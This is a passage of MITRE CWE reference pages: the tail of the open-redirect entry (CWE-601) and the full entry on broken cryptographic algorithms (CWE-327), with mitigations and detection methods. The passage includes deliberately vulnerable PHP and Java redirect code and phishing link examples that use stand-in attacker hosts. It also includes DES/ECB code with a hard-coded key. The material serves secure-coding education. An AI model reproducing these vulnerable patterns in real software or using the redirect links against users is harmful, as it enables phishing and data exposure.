MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Background Details
Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1


The following code obtains a URL from the query string and then redirects the user to that URL.

(bad code)
Example Language: PHP 
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

(attack code)
 
http://example.com/example.php?url=http://malicious.example.com

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.



Example 2


The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

(bad code)
Example Language: Java 
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getQueryString();
if (query.contains("url")) {
String url = request.getParameter("url");
response.sendRedirect(url);
}
}
}

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

(attack code)
Example Language: HTML 
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.
An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.
Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.
Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601)
+ Detection Methods
Method Details

Manual Static Analysis
Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Dynamic Analysis
Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis
Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 722 OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 819 OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 938 OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
WASC 38 URl Redirector Abuse
Software Fault Patterns SFP24 Tainted input to command
+ References
[REF-483] Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense".
<https://www.cprogramming.com/tutorial/exceptions.html>. (URL validated: 2023-04-07)
[REF-484] Russ McRee. "Open redirect vulnerabilities: definition and prevention". Page 43. Issue 17. (IN)SECURE. 2008-07.
<http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf>.
[REF-485] Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". SANS Software Security Institute. 2010-03-25.
<http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<http://www.owasp.org/index.php/ESAPI>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2007-05-07
(CWE Draft 6, 2007-05-07) 		Anonymous Tool Vendor (under NDA)
+ Modifications
Modification Date Modifier Organization
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, Other_Notes
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Description, Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References, Relationships
2010-04-05 CWE Content Team MITRE
updated Demonstrative_Examples
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Detection_Factors, Potential_Mitigations, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Name
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Alternate_Terms, Observed_Examples, References
2008-10-03 CWE Content Team MITRE
updated References and Observed_Examples
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Background_Details, Description, Detection_Factors, Likelihood_of_Exploit, Name, Relationships, Observed_Example, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Unsafe URL Redirection
2008-09-09 URL Redirection to Untrusted Site
2009-05-27 URL Redirection to Untrusted Site (aka 'Open Redirect')
Back to top

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Weakness ID: 327
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
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+ Description
The product uses a broken or risky cryptographic algorithm or protocol.
+ Extended Description

Cryptographic algorithms are the methods by which data is scrambled to prevent observation or influence by unauthorized actors. Insecure cryptography can be exploited to expose sensitive information, modify data in unexpected ways, spoof identities of other users or devices, or other impacts.

It is very difficult to produce a secure algorithm, and even high-profile algorithms by accomplished cryptographic experts have been broken. Well-known techniques exist to break or weaken various kinds of cryptography. Accordingly, there are a small number of well-understood and heavily studied algorithms that should be used by most products. Using a non-standard or known-insecure algorithm is dangerous because a determined adversary may be able to break the algorithm and compromise whatever data has been protected.

Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

For a number of reasons, this weakness is even more challenging to manage with hardware deployment of cryptographic algorithms as opposed to software implementation. First, if a flaw is discovered with hardware-implemented cryptography, the flaw cannot be fixed in most cases without a recall of the product, because hardware is not easily replaceable like software. Second, because the hardware product is expected to work for years, the adversary's computing power will only increase over time.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Modify Application Data

Scope: Integrity

The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Hide Activities

Scope: Accountability, Non-Repudiation

If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification [REF-1192].

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Architecture and Design
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.

Effectiveness: Defense in Depth

Architecture and Design
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Implementation; Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 328 Use of Weak Hash
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 780 Use of RSA Algorithm without OAEP
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1240 Use of a Cryptographic Primitive with a Risky Implementation
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 301 Reflection Attack in an Authentication Protocol
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 208 Observable Timing Discrepancy
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 916 Use of Password Hash With Insufficient Computational Effort
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation With hardware, the Architecture or Design Phase might start with compliant cryptography, but it is replaced with a non-compliant crypto during the later Implementation phase due to implementation constraints (e.g., not enough entropy to make it function properly, or not enough silicon real estate available to implement). Or, in rare cases (especially for long projects that span over years), the Architecture specifications might start with cryptography that was originally compliant at the time the Architectural specs were written, but over the time it became non-compliant due to progress made in attacking the crypto.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Verilog (Undetermined Prevalence)

VHDL (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


These code examples use the Data Encryption Standard (DES).

(bad code)
Example Language: C 
EVP_des_ecb();
(bad code)
Example Language: Java 
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
(bad code)
Example Language: PHP 
function encryptPassword($password){
$iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$key = "This is a password encryption key";
$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
return $encryptedPassword;
}

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).



Example 2


Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.

(bad code)
Example Language: Other 
The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.

However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of $110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.

This issue could have been avoided with better design.

(good code)
Example Language: Other 
The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra.


Example 3


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak cryptography.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
SCADA-based protocol supports a legacy encryption mode that uses Tiny Encryption Algorithm (TEA) in ECB mode, which leaks patterns in messages and cannot protect integrity
Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords.
Product uses "ROT-25" to obfuscate the password in the registry.
product only uses "XOR" to obfuscate sensitive data
product only uses "XOR" and a fixed key to obfuscate sensitive data
Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.
Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.
Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.
Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.
Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.
+ Detection Methods
Method Details

Automated Analysis
Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

Effectiveness: Moderate

Note:False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Man-in-the-middle attack tool
Cost effective for partial coverage:
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 729 OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 883 CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 958 SFP Secondary Cluster: Broken Cryptography
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1170 SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Using a broken or risky cryptographic algorithm
OWASP Top Ten 2004 A8 CWE More Specific Insecure Storage
CERT C Secure Coding MSC30-C CWE More Abstract Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding MSC32-C CWE More Abstract Properly seed pseudorandom number generators
The CERT Oracle Secure Coding Standard for Java (2011) MSC02-J Generate strong random numbers
OMG ASCSM ASCSM-CWE-327
ISA/IEC 62443 Part 3-3 Req SR 4.3
ISA/IEC 62443 Part 4-2 Req CR 4.3
+ References
[REF-280] Bruce Schneier. "Applied Cryptography". John Wiley & Sons. 1996.
<https://www.schneier.com/books/applied-cryptography>. (URL validated: 2023-04-07)
[REF-281] Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. "Handbook of Applied Cryptography". 1996-10.
<https://cacr.uwaterloo.ca/hac/>. (URL validated: 2023-04-07)
[REF-282] C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998-04-10.
<http://www.faqs.org/faqs/cryptography-faq/snake-oil/>.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25.
<https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. (URL validated: 2023-04-07)
[REF-284] Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005-09-15.
<https://www.eweek.com/security/microsoft-scraps-old-encryption-in-new-code/>. (URL validated: 2023-04-07)
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.
[REF-287] Johannes Ullrich. "Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm". SANS Software Security Institute. 2010-03-25.
<https://www.sans.org/blog/top-25-series-use-of-a-broken-or-risky-cryptographic-algorithm/>. (URL validated: 2023-04-07)
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Insufficient or Obsolete Encryption", Page 44. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-327. 2016-01.
<http://www.omg.org/spec/ASCSM/1.0/>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22.
<https://csrc.nist.gov/publications/detail/fips/140/3/final>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Contributions
Contribution Date Contributor Organization
2019-12-10 Parbati K. Manna Intel Corporation
